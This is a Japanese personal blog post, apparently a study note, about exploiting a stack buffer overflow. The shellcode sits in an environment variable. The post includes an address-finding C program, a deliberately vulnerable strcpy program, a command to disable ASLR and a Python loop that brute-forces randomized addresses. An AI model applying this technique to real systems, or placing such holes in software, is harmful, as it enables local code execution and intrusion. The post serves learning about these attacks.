なんかいろいろこんぴゅーたかんけいのなぐりがき

なんか勉強しているこんぴゅーた関係のことのメモやそれ以外のことを書こうかなあ...

logs

スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。

環境変数のアドレスを取得

 比較的小さなバッファに対してはシェルコードを挿入するのが難しい場合があり、そのときに、環境変数にシェルコードを入れておき、バッファオーバーフローの場合は戻り先のアドレスをその環境変数に上書きする、といった攻撃法があり、getenv()を用いると割と簡単に環境変数のアドレスは簡単に調べられる。


#include

int main(int argc,char **argv)
{
char *addr;
if (argc != 2)
{
exit(0);
}
else
{
addr = getenv(argv[1]);
if(addr == NULL) printf("not find\n");
else printf("%p\n",addr);
}
return 0;
}


そしてexport 変数=シェルコード しておいた変数に対してこのプログラムを適応すればシェルコードの入っているアドレスが得られるはずであり、実際に実行してみても確かに表示されるが、ubuntu9.04ではアドレスのランダム化がデフォルトで行われているようで、実行毎にアドレスが変わる。さらに、実行するプログラムのファイル名が1つ増えるたびにアドレスが2バイト分減る

さてさて、とりあえず実験をするにあたりアドレスのランダム化は邪魔なのでとりあえずこの機能をオフにすることにする

echo 0 > /proc ....

でランダム化を無効化したところ、ファイル名が1つ増えるたびに環境変数のアドレスが1バイトだけ減るようになった。

これを踏まえた上で脆弱性を持たせたプログラムでバッファオーバーフローをついて環境変数に代入されているシェルコード実行させようとした結果見事に失敗した。どうやらgccがプロテクトしているらしく、segmetn faultにしかならない、ということで例のごとく、gcc-3.4でコンパイルしてやり直したことろ成功した。

まあ、これで環境変数にシェルコードを仕込んでそのアドレスにプログラムの戻り先を変更する手法が理解できたのだが、アドレスがランダム化されているので結局そのプロテクションをOFFにしないと有効ではない。と思った。

 が、

毎回変更されるアドレスは

0xbf???fc7

というふうに、?の部分しか変更されていることに注目して所詮16^3通りしかありえないのでブルートフォース的に何回も実行すればそのうち成功するのではないかと思い、アドレスのランダム化を有効にした上で、gcc-3.4でコンパイルしたプログラムに対して、ひたすら先の実験と同様のことをやってみた。

上の環境変数のアドレスは3文字のプログラムで脆弱性を持たせた実験用プログラムは1文字なので2文字少ないことから、4バイトアドレスが多くなるはずなのだが、アドレスのランダム化をいったん無効にしてからは有効にしても1文字に対して1バイトしかアドレスが増えないようになったため(原因不明)おそらく、環境変数のアドレスは
0xbf???fc9となるはずである

ということで0xbfffffc9がそのうちシェルコードの入った環境変数のアドレスと一致することを願ってひたすら実験してみると1回目の試行で
117回目にシェルの起動に成功した。
どうやら1回目は運が良かったようで2回目の試行では
7267回目に
さらに3回目の試行では
29000回を超えてもシェルが起動しなかった。
おそらく乱数を使っているので時間帯の影響を受けているのだろう。つまりある時間帯だと0xbfffffc9がまったく環境変数のアドレスにはならないが、別の時間帯だとなるとか。いやでも違うような気もするな…
とにかく、今回実験に使った脆弱性を持たせたコードと、今の試行につかったコードを載せておく


//v.c
#include
main(int argc,char **argv[])
{
char buf[5];
strcpy(buf,argv[1]);
printf("%s\n",buf);
}


#auto.py

import os
i = 0
while True:
i+=1
print"try:",i
os.system("./v " + "\xc9\xff\xff\xbf"*10)



スポンサーサイト

トラックバックURL

http://ilovevim.blog42.fc2.com/tb.php/89-feb5725f

この記事へのトラックバック

この記事へのコメント

コメント投稿フォーム

Paging Navigation

Navigations, etc.

上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。